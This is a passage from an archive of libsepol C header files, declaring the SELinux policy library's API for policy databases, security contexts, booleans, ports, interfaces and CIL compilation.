ebitmap_union(ebitmap_t * dst, const ebitmap_t * e1); extern int ebitmap_and(ebitmap_t *dst, ebitmap_t *e1, ebitmap_t *e2); extern int ebitmap_xor(ebitmap_t *dst, ebitmap_t *e1, ebitmap_t *e2); extern int ebitmap_not(ebitmap_t *dst, ebitmap_t *e1, unsigned int maxbit); extern int ebitmap_andnot(ebitmap_t *dst, ebitmap_t *e1, ebitmap_t *e2, unsigned int maxbit); extern unsigned int ebitmap_cardinality(ebitmap_t *e1); extern int ebitmap_hamming_distance(ebitmap_t * e1, ebitmap_t * e2); extern int ebitmap_cpy(ebitmap_t * dst, const ebitmap_t * src); extern int ebitmap_contains(const ebitmap_t * e1, const ebitmap_t * e2); extern int ebitmap_match_any(const ebitmap_t *e1, const ebitmap_t *e2); extern int ebitmap_get_bit(const ebitmap_t * e, unsigned int bit); extern int ebitmap_set_bit(ebitmap_t * e, unsigned int bit, int value); extern void ebitmap_destroy(ebitmap_t * e); extern int ebitmap_read(ebitmap_t * e, void *fp); #ifdef __cplusplus } #endif #endif /* _EBITMAP_H_ */ /* FLASK */ sepol/policydb/util.h 0000644 00000002665 15246445046 0010644 0 ustar 00 /* Authors: Karl MacMillan <kmacmillan@tresys.com> * * A set of utility functions that aid policy decision when dealing * with hierarchal namespaces. * * Copyright (C) 2006 Tresys Technology, LLC * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef __SEPOL_UTIL_H__ #define __SEPOL_UTIL_H__ #ifdef __cplusplus extern "C" { #endif extern int add_i_to_a(uint32_t i, uint32_t * cnt, uint32_t ** a); extern char *sepol_av_to_string(policydb_t * policydbp, uint32_t tclass, sepol_access_vector_t av); char *sepol_extended_perms_to_string(avtab_extended_perms_t *xperms); /* * The tokenize function may be used to * replace sscanf */ extern int tokenize(char *line_buf, char delim, int num_args, ...); #ifdef __cplusplus } #endif #endif sepol/policydb/link.h 0000644 00000001005 15246445046 0010607 0 ustar 00 /* Authors: Jason Tang <jtang@tresys.com> * Joshua Brindle <jbrindle@tresys.com> * Karl MacMillan <kmacmillan@mentalrootkit.com> */ #ifndef _SEPOL_POLICYDB_LINK_H #define _SEPOL_POLICYDB_LINK_H #include <sepol/handle.h> #include <sepol/errcodes.h> #include <sepol/policydb/policydb.h> #include <stddef.h> #ifdef __cplusplus extern "C" { #endif extern int link_modules(sepol_handle_t * handle, policydb_t * b, policydb_t ** mods, int len, int verbose); #ifdef __cplusplus } #endif #endif sepol/policydb/services.h 0000644 00000020607 15246445046 0011506 0 ustar 00 /* -*- linux-c -*- */ /* * Author : Stephen Smalley, <sds@tycho.nsa.gov> */ #ifndef _SEPOL_POLICYDB_SERVICES_H_ #define _SEPOL_POLICYDB_SERVICES_H_ /* * Security server interface. */ #include <sepol/policydb/flask_types.h> #include <sepol/policydb/policydb.h> #include <stddef.h> #ifdef __cplusplus extern "C" { #endif /* Set the policydb and sidtab structures to be used by the service functions. If not set, then these default to private structures within libsepol that can only be initialized and accessed via the service functions themselves. Setting the structures explicitly allows a program to directly manipulate them, e.g. checkpolicy populates the structures directly from a source policy rather than from a binary policy. */ extern int sepol_set_policydb(policydb_t * p); extern int sepol_set_sidtab(sidtab_t * s); /* Modify a policydb for boolean settings. */ int sepol_genbools_policydb(policydb_t * policydb, const char *booleans); /* Modify a policydb for user settings. */ int sepol_genusers_policydb(policydb_t * policydb, const char *usersdir); /* Load the security policy. This initializes the policydb and sidtab based on the provided binary policy. */ extern int sepol_load_policy(void *data, size_t len); /* * Compute access vectors based on a SID pair for * the permissions in a particular class. */ extern int sepol_compute_av(sepol_security_id_t ssid, /* IN */ sepol_security_id_t tsid, /* IN */ sepol_security_class_t tclass, /* IN */ sepol_access_vector_t requested, /* IN */ struct sepol_av_decision *avd); /* OUT */ /* Same as above, but also return the reason(s) for any denials of the requested permissions. */ #define SEPOL_COMPUTEAV_TE 0x1U #define SEPOL_COMPUTEAV_CONS 0x2U #define SEPOL_COMPUTEAV_RBAC 0x4U #define SEPOL_COMPUTEAV_BOUNDS 0x8U extern int sepol_compute_av_reason(sepol_security_id_t ssid, sepol_security_id_t tsid, sepol_security_class_t tclass, sepol_access_vector_t requested, struct sepol_av_decision *avd, unsigned int *reason); /* * Same as above, but also returns the constraint expression calculations * whether allowed or denied in a buffer. This buffer is allocated by * this call and must be free'd by the caller using free(3). The contraint * buffer will contain any constraints in infix notation. * If the SHOW_GRANTED flag is set it will show granted and denied * constraints. The default is to show only denied constraints. */ #define SHOW_GRANTED 1 extern int sepol_compute_av_reason_buffer(sepol_security_id_t ssid, sepol_security_id_t tsid, sepol_security_class_t tclass, sepol_access_vector_t requested, struct sepol_av_decision *avd, unsigned int *reason, char **reason_buf, unsigned int flags); /* * Returns the mls/validatetrans constraint expression calculations in * a buffer that must be free'd by the caller using free(3). * If the SHOW_GRANTED flag is set it will show granted and denied * mls/validatetrans (the default is to show only those denied). */ extern int sepol_validate_transition_reason_buffer(sepol_security_id_t oldsid, sepol_security_id_t newsid, sepol_security_id_t tasksid, sepol_security_class_t tclass, char **reason_buf, unsigned int flags); /* * Return a class ID associated with the class string representation * specified by `class_name'. */ extern int sepol_string_to_security_class(const char *class_name, sepol_security_class_t *tclass); /* * Return a permission av bit associated with tclass and the string * representation of the `perm_name'. */ extern int sepol_string_to_av_perm(sepol_security_class_t tclass, const char *perm_name, sepol_access_vector_t *av); /* * Compute a SID to use for labeling a new object in the * class `tclass' based on a SID pair. */ extern int sepol_transition_sid(sepol_security_id_t ssid, /* IN */ sepol_security_id_t tsid, /* IN */ sepol_security_class_t tclass, /* IN */ sepol_security_id_t * out_sid); /* OUT */ /* * Compute a SID to use when selecting a member of a * polyinstantiated object of class `tclass' based on * a SID pair. */ extern int sepol_member_sid(sepol_security_id_t ssid, /* IN */ sepol_security_id_t tsid, /* IN */ sepol_security_class_t tclass, /* IN */ sepol_security_id_t * out_sid); /* OUT */ /* * Compute a SID to use for relabeling an object in the * class `tclass' based on a SID pair. */ extern int sepol_change_sid(sepol_security_id_t ssid, /* IN */ sepol_security_id_t tsid, /* IN */ sepol_security_class_t tclass, /* IN */ sepol_security_id_t * out_sid); /* OUT */ /* * Write the security context string representation of * the context associated with `sid' into a dynamically * allocated string of the correct size. Set `*scontext' * to point to this string and set `*scontext_len' to * the length of the string. */ extern int sepol_sid_to_context(sepol_security_id_t sid, /* IN */ sepol_security_context_t * scontext, /* OUT */ size_t * scontext_len); /* OUT */ /* * Return a SID associated with the security context that * has the string representation specified by `scontext'. */ extern int sepol_context_to_sid(const sepol_security_context_t scontext, /* IN */ size_t scontext_len, /* IN */ sepol_security_id_t * out_sid); /* OUT */ /* * Generate the set of SIDs for legal security contexts * for a given user that can be reached by `fromsid'. * Set `*sids' to point to a dynamically allocated * array containing the set of SIDs. Set `*nel' to the * number of elements in the array. */ extern int sepol_get_user_sids(sepol_security_id_t callsid, char *username, sepol_security_id_t ** sids, uint32_t * nel); /* * Return the SIDs to use for an unlabeled file system * that is being mounted from the device with the * the kdevname `name'. The `fs_sid' SID is returned for * the file system and the `file_sid' SID is returned * for all files within that file system. */ extern int sepol_fs_sid(char *dev, /* IN */ sepol_security_id_t * fs_sid, /* OUT */ sepol_security_id_t * file_sid); /* OUT */ /* * Return the SID of the port specified by * `domain', `type', `protocol', and `port'. */ extern int sepol_port_sid(uint16_t domain, uint16_t type, uint8_t protocol, uint16_t port, sepol_security_id_t * out_sid); /* * Return the SID of the ibpkey specified by * `subnet prefix', and `pkey'. */ extern int sepol_ibpkey_sid(uint64_t subnet_prefix_p, uint16_t pkey, sepol_security_id_t *out_sid); /* * Return the SID of the ibendport specified by * `dev_name', and `port'. */ extern int sepol_ibendport_sid(char *dev_name, uint8_t port, sepol_security_id_t *out_sid); /* * Return the SIDs to use for a network interface * with the name `name'. The `if_sid' SID is returned for * the interface and the `msg_sid' SID is returned as * the default SID for messages received on the * interface. */ extern int sepol_netif_sid(char *name, sepol_security_id_t * if_sid, sepol_security_id_t * msg_sid); /* * Return the SID of the node specified by the address * `addr' where `addrlen' is the length of the address * in bytes and `domain' is the communications domain or * address family in which the address should be interpreted. */ extern int sepol_node_sid(uint16_t domain, void *addr, size_t addrlen, sepol_security_id_t * out_sid); /* * Return a value indicating how to handle labeling for the * the specified filesystem type, and optionally return a SID * for the filesystem object. */ #define SECURITY_FS_USE_XATTR 1 /* use xattr */ #define SECURITY_FS_USE_TRANS 2 /* use transition SIDs, e.g. devpts/tmpfs */ #define SECURITY_FS_USE_TASK 3 /* use task SIDs, e.g. pipefs/sockfs */ #define SECURITY_FS_USE_GENFS 4 /* use the genfs support */ #define SECURITY_FS_USE_NONE 5 /* no labeling support */ extern int sepol_fs_use(const char *fstype, /* IN */ unsigned int *behavior, /* OUT */ sepol_security_id_t * sid); /* OUT */ /* * Return the SID to use for a file in a filesystem * that cannot support a persistent label mapping or use another * fixed labeling behavior like transition SIDs or task SIDs. */ extern int sepol_genfs_sid(const char *fstype, /* IN */ const char *name, /* IN */ sepol_security_class_t sclass, /* IN */ sepol_security_id_t * sid); /* OUT */ #ifdef __cplusplus } #endif #endif sepol/policydb/module.h 0000644 00000002774 15246445046 0011155 0 ustar 00 /* Author: Karl MacMillan <kmacmillan@tresys.com> * * Copyright (C) 2004-2005 Tresys Technology, LLC * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _SEPOL_POLICYDB_MODULE_H_ #define _SEPOL_POLICYDB_MODULE_H_ #include <stdlib.h> #include <stddef.h> #include <sepol/module.h> #include <sepol/policydb/policydb.h> #include <sepol/policydb/conditional.h> #define SEPOL_MODULE_PACKAGE_MAGIC 0xf97cff8f #ifdef __cplusplus extern "C" { #endif struct sepol_module_package { sepol_policydb_t *policy; uint32_t version; char *file_contexts; size_t file_contexts_len; char *seusers; size_t seusers_len; char *user_extra; size_t user_extra_len; char *netfilter_contexts; size_t netfilter_contexts_len; }; extern int sepol_module_package_init(sepol_module_package_t * p); #ifdef __cplusplus } #endif #endif sepol/kernel_to_cil.h 0000644 00000000175 15246445046 0010665 0 ustar 00 #include <stdlib.h> #include <sepol/policydb/policydb.h> int sepol_kernel_policydb_to_cil(FILE *fp, struct policydb *pdb); sepol/boolean_record.h 0000644 00000003017 15246445046 0011027 0 ustar 00 #ifndef _SEPOL_BOOLEAN_RECORD_H_ #define _SEPOL_BOOLEAN_RECORD_H_ #include <stddef.h> #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif struct sepol_bool; struct sepol_bool_key; typedef struct sepol_bool sepol_bool_t; typedef struct sepol_bool_key sepol_bool_key_t; /* Key */ extern int sepol_bool_key_create(sepol_handle_t * handle, const char *name, sepol_bool_key_t ** key); extern void sepol_bool_key_unpack(const sepol_bool_key_t * key, const char **name); extern int sepol_bool_key_extract(sepol_handle_t * handle, const sepol_bool_t * boolean, sepol_bool_key_t ** key_ptr); extern void sepol_bool_key_free(sepol_bool_key_t * key); extern int sepol_bool_compare(const sepol_bool_t * boolean, const sepol_bool_key_t * key); extern int sepol_bool_compare2(const sepol_bool_t * boolean, const sepol_bool_t * boolean2); /* Name */ extern const char *sepol_bool_get_name(const sepol_bool_t * boolean); extern int sepol_bool_set_name(sepol_handle_t * handle, sepol_bool_t * boolean, const char *name); /* Value */ extern int sepol_bool_get_value(const sepol_bool_t * boolean); extern void sepol_bool_set_value(sepol_bool_t * boolean, int value); /* Create/Clone/Destroy */ extern int sepol_bool_create(sepol_handle_t * handle, sepol_bool_t ** bool_ptr); extern int sepol_bool_clone(sepol_handle_t * handle, const sepol_bool_t * boolean, sepol_bool_t ** bool_ptr); extern void sepol_bool_free(sepol_bool_t * boolean); #ifdef __cplusplus } #endif #endif sepol/context_record.h 0000644 00000003206 15246445046 0011074 0 ustar 00 #ifndef _SEPOL_CONTEXT_RECORD_H_ #define _SEPOL_CONTEXT_RECORD_H_ #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif struct sepol_context; typedef struct sepol_context sepol_context_t; /* We don't need a key, because the context is never stored * in a data collection by itself */ /* User */ extern const char *sepol_context_get_user(const sepol_context_t * con); extern int sepol_context_set_user(sepol_handle_t * handle, sepol_context_t * con, const char *user); /* Role */ extern const char *sepol_context_get_role(const sepol_context_t * con); extern int sepol_context_set_role(sepol_handle_t * handle, sepol_context_t * con, const char *role); /* Type */ extern const char *sepol_context_get_type(const sepol_context_t * con); extern int sepol_context_set_type(sepol_handle_t * handle, sepol_context_t * con, const char *type); /* MLS */ extern const char *sepol_context_get_mls(const sepol_context_t * con); extern int sepol_context_set_mls(sepol_handle_t * handle, sepol_context_t * con, const char *mls_range); /* Create/Clone/Destroy */ extern int sepol_context_create(sepol_handle_t * handle, sepol_context_t ** con_ptr); extern int sepol_context_clone(sepol_handle_t * handle, const sepol_context_t * con, sepol_context_t ** con_ptr); extern void sepol_context_free(sepol_context_t * con); /* Parse to/from string */ extern int sepol_context_from_string(sepol_handle_t * handle, const char *str, sepol_context_t ** con); extern int sepol_context_to_string(sepol_handle_t * handle, const sepol_context_t * con, char **str_ptr); #ifdef __cplusplus } #endif #endif sepol/iface_record.h 0000644 00000003460 15246445046 0010461 0 ustar 00 #ifndef _SEPOL_IFACE_RECORD_H_ #define _SEPOL_IFACE_RECORD_H_ #include <sepol/handle.h> #include <sepol/context_record.h> #ifdef __cplusplus extern "C" { #endif struct sepol_iface; struct sepol_iface_key; typedef struct sepol_iface sepol_iface_t; typedef struct sepol_iface_key sepol_iface_key_t; /* Key */ extern int sepol_iface_compare(const sepol_iface_t * iface, const sepol_iface_key_t * key); extern int sepol_iface_compare2(const sepol_iface_t * iface, const sepol_iface_t * iface2); extern void sepol_iface_key_unpack(const sepol_iface_key_t * key, const char **name); extern int sepol_iface_key_create(sepol_handle_t * handle, const char *name, sepol_iface_key_t ** key_ptr); extern int sepol_iface_key_extract(sepol_handle_t * handle, const sepol_iface_t * iface, sepol_iface_key_t ** key_ptr); extern void sepol_iface_key_free(sepol_iface_key_t * key); /* Name */ extern const char *sepol_iface_get_name(const sepol_iface_t * iface); extern int sepol_iface_set_name(sepol_handle_t * handle, sepol_iface_t * iface, const char *name); /* Context */ extern sepol_context_t *sepol_iface_get_ifcon(const sepol_iface_t * iface); extern int sepol_iface_set_ifcon(sepol_handle_t * handle, sepol_iface_t * iface, sepol_context_t * con); extern sepol_context_t *sepol_iface_get_msgcon(const sepol_iface_t * iface); extern int sepol_iface_set_msgcon(sepol_handle_t * handle, sepol_iface_t * iface, sepol_context_t * con); /* Create/Clone/Destroy */ extern int sepol_iface_create(sepol_handle_t * handle, sepol_iface_t ** iface_ptr); extern int sepol_iface_clone(sepol_handle_t * handle, const sepol_iface_t * iface, sepol_iface_t ** iface_ptr); extern void sepol_iface_free(sepol_iface_t * iface); #ifdef __cplusplus } #endif #endif sepol/policydb.h 0000644 00000011127 15246445046 0007660 0 ustar 00 #ifndef _SEPOL_POLICYDB_H_ #define _SEPOL_POLICYDB_H_ #include <stddef.h> #include <stdio.h> #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif struct sepol_policy_file; typedef struct sepol_policy_file sepol_policy_file_t; struct sepol_policydb; typedef struct sepol_policydb sepol_policydb_t; /* Policy file public interfaces. */ /* Create and free memory associated with a policy file. */ extern int sepol_policy_file_create(sepol_policy_file_t ** pf); extern void sepol_policy_file_free(sepol_policy_file_t * pf); /* * Set the policy file to represent a binary policy memory image. * Subsequent operations using the policy file will read and write * the image located at the specified address with the specified length. * If 'len' is 0, then merely compute the necessary length upon * subsequent policydb write operations in order to determine the * necessary buffer size to allocate. */ extern void sepol_policy_file_set_mem(sepol_policy_file_t * pf, char *data, size_t len); /* * Get the size of the buffer needed to store a policydb write * previously done on this policy file. */ extern int sepol_policy_file_get_len(sepol_policy_file_t * pf, size_t * len); /* * Set the policy file to represent a FILE. * Subsequent operations using the policy file will read and write * to the FILE. */ extern void sepol_policy_file_set_fp(sepol_policy_file_t * pf, FILE * fp); /* * Associate a handle with a policy file, for use in * error reporting from subsequent calls that take the * policy file as an argument. */ extern void sepol_policy_file_set_handle(sepol_policy_file_t * pf, sepol_handle_t * handle); /* Policydb public interfaces. */ /* Create and free memory associated with a policydb. */ extern int sepol_policydb_create(sepol_policydb_t ** p); extern void sepol_policydb_free(sepol_policydb_t * p); /* Legal types of policies that the policydb can represent. */ #define SEPOL_POLICY_KERN 0 #define SEPOL_POLICY_BASE 1 #define SEPOL_POLICY_MOD 2 /* * Range of policy versions for the kernel policy type supported * by this library. */ extern int sepol_policy_kern_vers_min(void); extern int sepol_policy_kern_vers_max(void); /* * Set the policy type as specified, and automatically initialize the * policy version accordingly to the maximum version supported for the * policy type. * Returns -1 if the policy type is not legal. */ extern int sepol_policydb_set_typevers(sepol_policydb_t * p, unsigned int type); /* * Set the policy version to a different value. * Returns -1 if the policy version is not in the supported range for * the (previously set) policy type. */ extern int sepol_policydb_set_vers(sepol_policydb_t * p, unsigned int vers); /* Set how to handle unknown class/perms. */ #define SEPOL_DENY_UNKNOWN 0 #define SEPOL_REJECT_UNKNOWN 2 #define SEPOL_ALLOW_UNKNOWN 4 extern int sepol_policydb_set_handle_unknown(sepol_policydb_t * p, unsigned int handle_unknown); /* Set the target platform */ #define SEPOL_TARGET_SELINUX 0 #define SEPOL_TARGET_XEN 1 extern int sepol_policydb_set_target_platform(sepol_policydb_t * p, int target_platform); /* * Read a policydb from a policy file. * This automatically sets the type and version based on the * image contents. */ extern int sepol_policydb_read(sepol_policydb_t * p, sepol_policy_file_t * pf); /* * Write a policydb to a policy file. * The generated image will be in the binary format corresponding * to the policy version associated with the policydb. */ extern int sepol_policydb_write(sepol_policydb_t * p, sepol_policy_file_t * pf); /* * Extract a policydb from a binary policy memory image. * This is equivalent to sepol_policydb_read with a policy file * set to refer to memory. */ extern int sepol_policydb_from_image(sepol_handle_t * handle, void *data, size_t len, sepol_policydb_t * p); /* * Generate a binary policy memory image from a policydb. * This is equivalent to sepol_policydb_write with a policy file * set to refer to memory, but internally handles computing the * necessary length and allocating an appropriately sized memory * buffer for the caller. */ extern int sepol_policydb_to_image(sepol_handle_t * handle, sepol_policydb_t * p, void **newdata, size_t * newlen); /* * Check whether the policydb has MLS enabled. */ extern int sepol_policydb_mls_enabled(const sepol_policydb_t * p); /* * Check whether the compatibility mode for SELinux network * checks should be enabled when using this policy. */ extern int sepol_policydb_compat_net(const sepol_policydb_t * p); #ifdef __cplusplus } #endif #endif sepol/port_record.h 0000644 00000003737 15246445046 0010405 0 ustar 00 #ifndef _SEPOL_PORT_RECORD_H_ #define _SEPOL_PORT_RECORD_H_ #include <sepol/context_record.h> #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif struct sepol_port; struct sepol_port_key; typedef struct sepol_port sepol_port_t; typedef struct sepol_port_key sepol_port_key_t; #define SEPOL_PROTO_UDP 0 #define SEPOL_PROTO_TCP 1 #define SEPOL_PROTO_DCCP 2 #define SEPOL_PROTO_SCTP 3 /* Key */ extern int sepol_port_compare(const sepol_port_t * port, const sepol_port_key_t * key); extern int sepol_port_compare2(const sepol_port_t * port, const sepol_port_t * port2); extern int sepol_port_key_create(sepol_handle_t * handle, int low, int high, int proto, sepol_port_key_t ** key_ptr); extern void sepol_port_key_unpack(const sepol_port_key_t * key, int *low, int *high, int *proto); extern int sepol_port_key_extract(sepol_handle_t * handle, const sepol_port_t * port, sepol_port_key_t ** key_ptr); extern void sepol_port_key_free(sepol_port_key_t * key); /* Protocol */ extern int sepol_port_get_proto(const sepol_port_t * port); extern void sepol_port_set_proto(sepol_port_t * port, int proto); extern const char *sepol_port_get_proto_str(int proto); /* Port */ extern int sepol_port_get_low(const sepol_port_t * port); extern int sepol_port_get_high(const sepol_port_t * port); extern void sepol_port_set_port(sepol_port_t * port, int port_num); extern void sepol_port_set_range(sepol_port_t * port, int low, int high); /* Context */ extern sepol_context_t *sepol_port_get_con(const sepol_port_t * port); extern int sepol_port_set_con(sepol_handle_t * handle, sepol_port_t * port, sepol_context_t * con); /* Create/Clone/Destroy */ extern int sepol_port_create(sepol_handle_t * handle, sepol_port_t ** port_ptr); extern int sepol_port_clone(sepol_handle_t * handle, const sepol_port_t * port, sepol_port_t ** port_ptr); extern void sepol_port_free(sepol_port_t * port); #ifdef __cplusplus } #endif #endif sepol/context.h 0000644 00000001360 15246445046 0007535 0 ustar 00 #ifndef _SEPOL_CONTEXT_H_ #define _SEPOL_CONTEXT_H_ #include <sepol/context_record.h> #include <sepol/policydb.h> #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif /* -- Deprecated -- */ extern int sepol_check_context(const char *context); /* -- End deprecated -- */ extern int sepol_context_check(sepol_handle_t * handle, const sepol_policydb_t * policydb, const sepol_context_t * context); extern int sepol_mls_contains(sepol_handle_t * handle, const sepol_policydb_t * policydb, const char *mls1, const char *mls2, int *response); extern int sepol_mls_check(sepol_handle_t * handle, const sepol_policydb_t * policydb, const char *mls); #ifdef __cplusplus } #endif #endif sepol/users.h 0000644 00000003747 15246445046 0007225 0 ustar 00 #ifndef _SEPOL_USERS_H_ #define _SEPOL_USERS_H_ #include <sepol/policydb.h> #include <sepol/user_record.h> #include <sepol/handle.h> #include <stddef.h> #ifdef __cplusplus extern "C" { #endif /*---------compatibility------------*/ /* Given an existing binary policy (starting at 'data with length 'len') and user configurations living in 'usersdir', generate a new binary policy for the new user configurations. Sets '*newdata' and '*newlen' to refer to the new binary policy image. */ extern int sepol_genusers(void *data, size_t len, const char *usersdir, void **newdata, size_t * newlen); /* Enable or disable deletion of users by sepol_genusers(3) when a user in original binary policy image is not defined by the new user configurations. Defaults to disabled. */ extern void sepol_set_delusers(int on); /*--------end compatibility----------*/ /* Modify the user, or add it, if the key is not found */ extern int sepol_user_modify(sepol_handle_t * handle, sepol_policydb_t * policydb, const sepol_user_key_t * key, const sepol_user_t * data); /* Return the number of users */ extern int sepol_user_count(sepol_handle_t * handle, const sepol_policydb_t * p, unsigned int *response); /* Check if the specified user exists */ extern int sepol_user_exists(sepol_handle_t * handle, const sepol_policydb_t * policydb, const sepol_user_key_t * key, int *response); /* Query a user - returns the user or NULL if not found */ extern int sepol_user_query(sepol_handle_t * handle, const sepol_policydb_t * p, const sepol_user_key_t * key, sepol_user_t ** response); /* Iterate the users * The handler may return: * -1 to signal an error condition, * 1 to signal successful exit * 0 to signal continue */ extern int sepol_user_iterate(sepol_handle_t * handle, const sepol_policydb_t * policydb, int (*fn) (const sepol_user_t * user, void *fn_arg), void *arg); #ifdef __cplusplus } #endif #endif sepol/interfaces.h 0000644 00000002573 15246445046 0010203 0 ustar 00 #ifndef __SEPOL_INTERFACES_H_ #define __SEPOL_INTERFACES_H_ #include <sepol/policydb.h> #include <sepol/iface_record.h> #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif /* Return the number of interfaces */ extern int sepol_iface_count(sepol_handle_t * handle, const sepol_policydb_t * policydb, unsigned int *response); /* Check if an interface exists */ extern int sepol_iface_exists(sepol_handle_t * handle, const sepol_policydb_t * policydb, const sepol_iface_key_t * key, int *response); /* Query an interface - returns the interface, * or NULL if not found */ extern int sepol_iface_query(sepol_handle_t * handle, const sepol_policydb_t * policydb, const sepol_iface_key_t * key, sepol_iface_t ** response); /* Modify an interface, or add it, if the key * is not found */ extern int sepol_iface_modify(sepol_handle_t * handle, sepol_policydb_t * policydb, const sepol_iface_key_t * key, const sepol_iface_t * data); /* Iterate the interfaces * The handler may return: * -1 to signal an error condition, * 1 to signal successful exit * 0 to signal continue */ extern int sepol_iface_iterate(sepol_handle_t * handle, const sepol_policydb_t * policydb, int (*fn) (const sepol_iface_t * iface, void *fn_arg), void *arg); #ifdef __cplusplus } #endif #endif sepol/cil/cil.h 0000644 00000006645 15246445046 0007402 0 ustar 00 /* * Copyright 2011 Tresys Technology, LLC. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY TRESYS TECHNOLOGY, LLC ``AS IS'' AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO * EVENT SHALL TRESYS TECHNOLOGY, LLC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * The views and conclusions contained in the software and documentation are those * of the authors and should not be interpreted as representing official policies, * either expressed or implied, of Tresys Technology, LLC. */ #ifndef CIL_H_ #define CIL_H_ #include <sepol/policydb/policydb.h> #ifdef __cplusplus extern "C" { #endif struct cil_db; typedef struct cil_db cil_db_t; extern void cil_db_init(cil_db_t **db); extern void cil_db_destroy(cil_db_t **db); extern int cil_add_file(cil_db_t *db, char *name, char *data, size_t size); extern int cil_compile(cil_db_t *db); extern int cil_build_policydb(cil_db_t *db, sepol_policydb_t **sepol_db); extern int cil_userprefixes_to_string(cil_db_t *db, char **out, size_t *size); extern int cil_selinuxusers_to_string(cil_db_t *db, char **out, size_t *size); extern int cil_filecons_to_string(cil_db_t *db, char **out, size_t *size); extern void cil_set_disable_dontaudit(cil_db_t *db, int disable_dontaudit); extern void cil_set_multiple_decls(cil_db_t *db, int multiple_decls); extern void cil_set_disable_neverallow(cil_db_t *db, int disable_neverallow); extern void cil_set_preserve_tunables(cil_db_t *db, int preserve_tunables); extern int cil_set_handle_unknown(cil_db_t *db, int handle_unknown); extern void cil_set_mls(cil_db_t *db, int mls); extern void cil_set_attrs_expand_generated(struct cil_db *db, int attrs_expand_generated); extern void cil_set_attrs_expand_size(struct cil_db *db, unsigned attrs_expand_size); extern void cil_set_target_platform(cil_db_t *db, int target_platform); extern void cil_set_policy_version(cil_db_t *db, int policy_version); extern void cil_write_policy_conf(FILE *out, struct cil_db *db); enum cil_log_level { CIL_ERR = 1, CIL_WARN, CIL_INFO }; extern void cil_set_log_level(enum cil_log_level lvl); extern void cil_set_log_handler(void (*handler)(int lvl, char *msg)); #ifdef __GNUC__ __attribute__ ((format(printf, 2, 3))) #endif extern void cil_log(enum cil_log_level lvl, const char *msg, ...); extern void cil_set_malloc_error_handler(void (*handler)(void)); #ifdef __cplusplus } #endif #endif sepol/errcodes.h 0000644 00000001523 15246445046 0007660 0 ustar 00 /* Author: Karl MacMillan <kmacmillan@mentalrootkit.com> */ #ifndef __sepol_errno_h__ #define __sepol_errno_h__ #include <errno.h> #ifdef __cplusplus extern "C" { #endif #define SEPOL_OK 0 /* These first error codes are defined for compatibility with * previous version of libsepol. In the future, custom error * codes that don't map to system error codes should be defined * outside of the range of system error codes. */ #define SEPOL_ERR -1 #define SEPOL_ENOTSUP -2 /* feature not supported in module language */ #define SEPOL_EREQ -3 /* requirements not met */ /* Error codes that map to system error codes */ #define SEPOL_ENOMEM -ENOMEM #define SEPOL_ERANGE -ERANGE #define SEPOL_EEXIST -EEXIST #define SEPOL_ENOENT -ENOENT #ifdef __cplusplus } #endif #endif sepol/kernel_to_conf.h 0000644 00000000176 15246445046 0011044 0 ustar 00 #include <stdlib.h> #include <sepol/policydb/policydb.h> int sepol_kernel_policydb_to_conf(FILE *fp, struct policydb *pdb); sepol/ibpkeys.h 0000644 00000002503 15246445046 0007517 0 ustar 00 #ifndef _SEPOL_IBPKEYS_H_ #define _SEPOL_IBPKEYS_H_ #include <sepol/handle.h> #include <sepol/policydb.h> #include <sepol/ibpkey_record.h> #ifdef __cplusplus extern "C" { #endif /* Return the number of ibpkeys */ extern int sepol_ibpkey_count(sepol_handle_t *handle, const sepol_policydb_t *p, unsigned int *response); /* Check if a ibpkey exists */ extern int sepol_ibpkey_exists(sepol_handle_t *handle, const sepol_policydb_t *policydb, const sepol_ibpkey_key_t *key, int *response); /* Query a ibpkey - returns the ibpkey, or NULL if not found */ extern int sepol_ibpkey_query(sepol_handle_t *handle, const sepol_policydb_t *policydb, const sepol_ibpkey_key_t *key, sepol_ibpkey_t **response); /* Modify a ibpkey, or add it, if the key is not found */ extern int sepol_ibpkey_modify(sepol_handle_t *handle, sepol_policydb_t *policydb, const sepol_ibpkey_key_t *key, const 